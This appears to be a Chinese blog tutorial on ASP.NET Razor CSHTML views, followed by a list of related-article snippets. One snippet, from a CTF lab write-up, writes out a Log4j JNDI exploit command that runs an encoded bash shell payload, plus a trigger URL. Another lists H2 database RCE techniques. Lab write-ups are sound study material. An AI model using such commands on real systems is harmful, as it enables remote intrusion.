Microsoft前后端不分离编程新风向:cshtml

article/2025/6/7 14:31:31

在这里插入图片描述

文章目录

    • 什么是CSHTML?
    • 基础语法
      • 内联表达式
      • 代码块
      • 控制结构
    • 布局页面
      • _ViewStart.cshtml
      • _Layout.cshtml
      • 使用布局
    • 模型绑定
      • 强类型视图
      • 模型集合
    • HTML辅助方法
      • 基本表单
      • 验证
    • 局部视图
      • 创建局部视图
      • 使用局部视图
    • 高级特性
      • 视图组件
      • 依赖注入
      • Tag Helpers
    • 性能优化
      • 缓存
      • 捆绑和压缩
    • 安全考虑
      • 防跨站请求伪造(CSRF)
      • HTML编码
    • 实际应用示例
      • 电子商务产品页面
    • 调试技巧
      • 使用@functions
      • 调试视图
    • 最佳实践
    • 结语

在这里插入图片描述

什么是CSHTML?

CSHTML是ASP.NET Razor视图引擎使用的文件扩展名,它是C# (CS)和HTML的混合体。这种文件类型允许开发者在HTML标记中直接嵌入C#代码,用于构建动态Web页面。CSHTML文件在服务器端处理,生成纯HTML发送到客户端浏览器。

基础语法

Razor语法是CSHTML的核心,它提供了在HTML中嵌入C#代码的简洁方式。

内联表达式

最基本的Razor语法是使用@符号将C#表达式直接嵌入HTML:

<p>当前时间是:@DateTime.Now</p>

代码块

对于多行C#代码,可以使用代码块:

@{var greeting = "欢迎来到我们的网站!";var weekDay = DateTime.Now.DayOfWeek;
}
<h1>@greeting 今天是 @weekDay</h1>

控制结构

Razor支持常见的C#控制结构:

@if(DateTime.Now.Hour < 12)
{<p>早上好!</p>
}
else
{<p>下午好!</p>
}

循环结构示例:

<ul>
@for(int i = 1; i <= 5; i++)
{<li>项目 @i</li>
}
</ul>

布局页面

ASP.NET Razor提供了布局系统,类似于Master Page的概念,但更加灵活。

_ViewStart.cshtml

这个特殊文件定义了所有视图的默认布局:

@{Layout = "_Layout";
}

_Layout.cshtml

布局页面定义了网站的整体结构:

<!DOCTYPE html>
<html>
<head><title>@ViewBag.Title</title>@RenderSection("styles", required: false)
</head>
<body><header><h1>我的网站</h1></header><div class="content">@RenderBody()</div><footer>&copy; @DateTime.Now.Year</footer>@RenderSection("scripts", required: false)
</body>
</html>

使用布局

在具体视图中:

@{ViewBag.Title = "主页";
}<p>这是主页内容</p>@section scripts {<script>console.log("页面加载完成");</script>
}

模型绑定

CSHTML强大的功能之一是模型绑定,可以将C#对象直接传递到视图。

强类型视图

@model MyNamespace.Models.Product<h2>@Model.Name</h2>
<p>价格: @Model.Price.ToString("C")</p>

模型集合

@model IEnumerable<MyNamespace.Models.Product><ul>
@foreach(var product in Model)
{<li>@product.Name - @product.Price.ToString("C")</li>
}
</ul>

HTML辅助方法

ASP.NET提供了许多HTML辅助方法,简化了表单创建和其他常见HTML元素的生成。

基本表单

@using(Html.BeginForm("Action", "Controller", FormMethod.Post))
{@Html.LabelFor(m => m.Name)@Html.TextBoxFor(m => m.Name)@Html.LabelFor(m => m.Price)@Html.TextBoxFor(m => m.Price)<input type="submit" value="保存" />
}

验证

@Html.LabelFor(m => m.Email)
@Html.TextBoxFor(m => m.Email)
@Html.ValidationMessageFor(m => m.Email)

局部视图

局部视图是可重用的视图组件。

创建局部视图

_ProductCard.cshtml:

@model Product<div class="product-card"><h3>@Model.Name</h3><p>@Model.Description</p><span class="price">@Model.Price.ToString("C")</span>
</div>

使用局部视图

@foreach(var product in Model.Products)
{@Html.Partial("_ProductCard", product)
}

高级特性

视图组件

视图组件类似于局部视图,但包含业务逻辑:

public class ShoppingCartViewComponent : ViewComponent
{public IViewComponentResult Invoke(){var cart = GetShoppingCart();return View(cart);}
}

使用视图组件:

@await Component.InvokeAsync("ShoppingCart")

依赖注入

可以直接在视图中注入服务:

@inject IEmailService EmailService<p>联系我们: @EmailService.GetSupportEmail()</p>

Tag Helpers

ASP.NET Core引入了Tag Helpers,使HTML更加自然:

<form asp-controller="Account" asp-action="Login" method="post"><label asp-for="Email"></label><input asp-for="Email" /><span asp-validation-for="Email"></span><button type="submit">登录</button>
</form>

性能优化

缓存

<cache expires-after="@TimeSpan.FromMinutes(30)">@await Component.InvokeAsync("PopularProducts")
</cache>

捆绑和压缩

<environment include="Development"><script src="~/js/site.js" asp-append-version="true"></script>
</environment>
<environment exclude="Development"><script src="~/js/site.min.js" asp-append-version="true"></script>
</environment>

安全考虑

防跨站请求伪造(CSRF)

<form asp-action="UpdateProfile" method="post">@Html.AntiForgeryToken()<!-- 表单内容 -->
</form>

HTML编码

Razor自动对输出进行HTML编码:

<!-- 用户输入会被自动编码 -->
<p>@userInput</p><!-- 如果需要原始HTML -->
<p>@Html.Raw(userInput)</p> <!-- 谨慎使用 -->

实际应用示例

电子商务产品页面

@model ProductDetailViewModel@section styles {<link rel="stylesheet" href="~/css/product.css" />
}<div class="product-container"><div class="product-images"><img src="@Model.MainImageUrl" alt="@Model.Name" /><div class="thumbnails">@foreach(var image in Model.AdditionalImages){<img src="@image.Url" alt="@image.AltText" />}</div></div><div class="product-details"><h1>@Model.Name</h1><div class="price">@if(Model.IsOnSale){<span class="original-price">@Model.OriginalPrice.ToString("C")</span><span class="sale-price">@Model.Price.ToString("C")</span><span class="discount">节省 @Model.DiscountPercentage.ToString("P0")</span>}else{<span>@Model.Price.ToString("C")</span>}</div><div class="rating">@for(int i = 1; i <= 5; i++){<span class="@(i <= Model.AverageRating ? "filled" : "")"></span>}<span>(@Model.ReviewCount 条评价)</span></div><form asp-action="AddToCart" method="post" class="add-to-cart">@Html.AntiForgeryToken()<input type="hidden" asp-for="ProductId" /><div class="quantity"><label asp-for="Quantity"></label><select asp-for="Quantity">@for(int i = 1; i <= 10; i++){<option value="@i">@i</option>}</select></div><button type="submit">加入购物车</button></form><div class="product-description"><h3>产品描述</h3><p>@Html.Raw(Model.Description)</p></div></div>
</div>@section scripts {<script src="~/js/product.js"></script>
}

调试技巧

使用@functions

可以在视图中定义函数:

@functions {public string GetCssClassForRating(int star, double averageRating){return star <= averageRating ? "filled" : "";}
}

调试视图

@{// 设置断点可以调试var debugInfo = Model;
}

最佳实践

  1. 保持视图简单:将复杂逻辑移入控制器或服务层
  2. 使用强类型视图:避免使用ViewBag/ViewData
  3. 重用组件:利用局部视图和视图组件
  4. 关注安全:始终对用户输入进行验证和编码
  5. 优化性能:使用缓存和捆绑等技术
  6. 保持一致性:遵循项目约定的代码风格
    在这里插入图片描述

结语

CSHTML作为ASP.NET Razor视图引擎的核心,提供了强大的功能来创建动态Web应用程序。从简单的内联表达式到复杂的布局系统和视图组件,它能够满足从简单到复杂的所有Web开发需求。通过遵循最佳实践并充分利用其特性,开发者可以构建出高效、安全且易于维护的Web应用程序。

掌握CSHTML需要实践和经验积累。建议从简单的页面开始,逐步尝试更复杂的特性,最终你将能够充分利用ASP.NET Razor视图引擎的全部潜力,构建出功能丰富、响应迅速的现代Web应用程序。
在这里插入图片描述


http://www.hkcw.cn/article/hNcbhJGntR.shtml

相关文章

事件对象以及常见属性

1.1获取事件对象 1.2语法 1.3事件对象属性

ssh登录wsl2

1. ssh服务重新安装 Ubuntu20.04子系统自带的ssh服务无法连接&#xff0c;需卸载后重新安装。 sudo apt-get remove openssh-server sudo apt-get install openssh-server2. 修改配置信息 sudo vim /etc/ssh/sshd_config修改内容&#xff1a; # 最好一模一样 Port 33 # 这…

神经符号集成-三篇综述

我会大致讲解三篇神经符号集成的综述&#xff0c;这些综述没有针对推荐系统的&#xff0c;所以大致过一下&#xff0c;下一篇帖子会介绍针对KG的两篇综述。 综述1 这篇综述主要阐述了神经符号学习系统&#xff0c;旨在将神经系统和符号系统 结合到一个统一的框架中。 核心观点…

【MATLAB代码】制导——三点法,二维平面下的例程|运动目标制导,附完整源代码

三点法制导是一种导弹制导策略,主要用于确保导弹能够准确追踪并击中移动目标。该方法通过计算导弹、目标和制导站之间的相对位置关系,实现对目标的有效制导。 本文给出MATLAB下的三点法例程,模拟平面上捕获运动目标的情况订阅专栏后可直接查看源代码,粘贴到MATLAB空脚本中即…

【最新版】西陆洗车系统源码全开源+uniapp前端+搭建教程

一.系统介绍 一款基于ThinkPHPUniapp开发的多门店洗车系统&#xff0c;包含用户端&#xff08;小程序&#xff09;、门店员工端&#xff08;小程序&#xff09;、门店端&#xff08;PC&#xff09;、平台管理端&#xff08;PC&#xff09;。 门店分连锁门店和独立门店&#xf…

留存即证据 药企亟需构筑可信数据管理体系

在医药行业&#xff0c;数据留存不仅是技术需求&#xff0c;更是满足全球药品监管法规&#xff08;GxP&#xff09;的核心合规义务。药企需建立覆盖全数据类型、全生命周期、全流程可追溯的留存体系。药企在数据留存方面的合规管理需遵循多维度要求&#xff0c;涵盖数据保护、备…

HALCON 深度学习训练 3D 图像的几种方式优缺点

HALCON 深度学习训练 3D 图像的几种方式优缺点 ** 在计算机视觉和工业检测等领域&#xff0c;3D 图像数据的处理和分析变得越来越重要&#xff0c;HALCON 作为一款强大的机器视觉软件&#xff0c;提供了多种深度学习训练 3D 图像的方式。每种方式都有其独特的设计思路和应用场…

Java面试八股--04-MySQL

致谢&#xff1a;感谢整理&#xff01;2025年 Java 面试八股文&#xff08;20w字&#xff09;_java面试八股文-CSDN博客 目录 1、Select语句完整的执行顺序 2、MySQL事务 3、MyISAM和InnoDB的区别 4、悲观锁和乐观锁怎么实现 5、聚簇索引与非聚簇索引区别 6、什么情况下my…

春秋云镜 Certify Writeup

端口扫描发现8983端口存在 Solr 服务 这个版本可以直接打 Log4j java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFza.....}|{base64,-d}|{bash,-i}" -A "x.x.x.x"访问触发&#xff1a; http://39.98.113.203:8983/solr/adm…

JavaSec | H2数据库注入学习

目录: 前言 前置学习 介绍 环境搭建 demo 漏洞分析 RCE Alias Script RCE INIT RunScript RCE TRIGGER Script RCE 高版本JDK下的RCE 文件读取 写文件 JDBC JNDI 内存马 例题 [N1CTF Junior 2025]EasyDB 参考 前言 在学 Spring 框架的利用时发现很多用的是用的 H2 数据库…

IP查询与网络风险的关系

网络风险场景与IP查询的关联 网络攻击、恶意行为、数据泄露等风险事件频发&#xff0c;而IP地址作为网络设备的唯一标识&#xff0c;承载着关键线索。例如&#xff0c;在DDoS恶意行为中&#xff0c;攻击者利用大量IP地址发起流量洪泛&#xff1b;恶意行为通过变换IP地址绕过封…

深度学习入门Day2--鱼书学习(1)

前言&#xff1a;《深度学习入门&#xff0c;基于python的理论与实现》是非常好的一本书&#xff0c;封面有一条鱼。 作者是斋藤康毅&#xff0c;东京工业大学毕业&#xff0c;并完成东京大学研究生院课程。现从事计算机视觉与机器学习相关的研究和开发工作。 本系列为该书的学…

windows安装和部署docker

Docker 是一种开源的容器化平台&#xff0c;允许开发者将应用程序及其依赖打包成轻量级的容器进行部署。 安装部署参考文章链接&#xff1a;https://blog.csdn.net/weixin_57972634/article/details/147032466 启用虚拟化功能 官网下载docker 官网下载docker地址&#xff1a…

Windows【基础操作2】

目录 前言&#xff1a; 一、Windows用户 二、用户分类和管理 1.用户分类 2.用户管理 总结&#xff1a; 前言&#xff1a; 回顾上一篇windows 我讲了关于磁盘的知识 小萌新们都明白了吗&#xff1f; 没明白的可以评论告诉我 我会的话会为你们解答的 好 话不多说 下面是…

unity UI Rect Transform“高”性能写法

&#x1f3af; Unity UI 性能优化终极指南 — RectTransform篇 &#x1f9e9; RectTransform 是什么&#xff1f; Unity UI中每一个UI元素的必备组件继承自 Transform&#xff0c;但专门用于 2D 布局负责定义UI的位置、大小、锚点、旋转、缩放 ⚠️ 特别注意&#xff1a;所有…

登录vmware vcenter报vSphere Client service has stopped working错误

一、问题 登录vmware vcenter时发现报vSphere Client service has stopped working错误&#xff0c;导致vcenter控制台进不去 二、解决办法 打开vmware vcenter管理https://vcenterIP:5480&#xff0c;选择VMware vSphere Client&#xff0c;重启该服务后恢复正常。

MicroPython+ESP32 连接接WIFI

在使用ESP32连接热点前&#xff0c;需要先使用手机或者电脑打开一个热点&#xff0c;并设置为2.4频段G的&#xff0c;如下图所示。 ESP32连接wifi热点官方示例 import networkwlan network.WLAN() # create station interface (the default, see below for an access p…

算法题(160):64位整数除法

审题&#xff1a; 本题需要我们计算出数量级巨大的(a*b)%p的值&#xff0c;其中a,b,p的数据类型都是longlong 思路&#xff1a; 方法一&#xff1a;暴力解法 我们可以直接计算a*b的结果&#xff0c;然后再取余p。但是由于他们的数量级过高&#xff0c;计算时空间可能会溢出&…

在图像分析算法部署中应对流行趋势的变化|文献速递-深度学习医疗AI最新文献

Title 题目 Navigating prevalence shifts in image analysis algorithm deployment 在图像分析算法部署中应对流行趋势的变化 01 文献速递介绍 机器学习&#xff08;ML&#xff09;已开始革新成像研究与实践的诸多领域。然而&#xff0c;医学图像分析领域存在显著的转化鸿…

RTP over TCP 模式

RTP over TCP 模式概述 RTP over TCP 指的是将RTP数据包封装在TCP连接中进行传输&#xff0c;而不是使用传统的基于UDP的传输方式。 与UDP模式对比 特性RTP over TCPRTP over UDP端口数量仅需 1 个 TCP 端口&#xff08;默认 554&#xff09;每路流需 2 个 UDP 端口&#xf…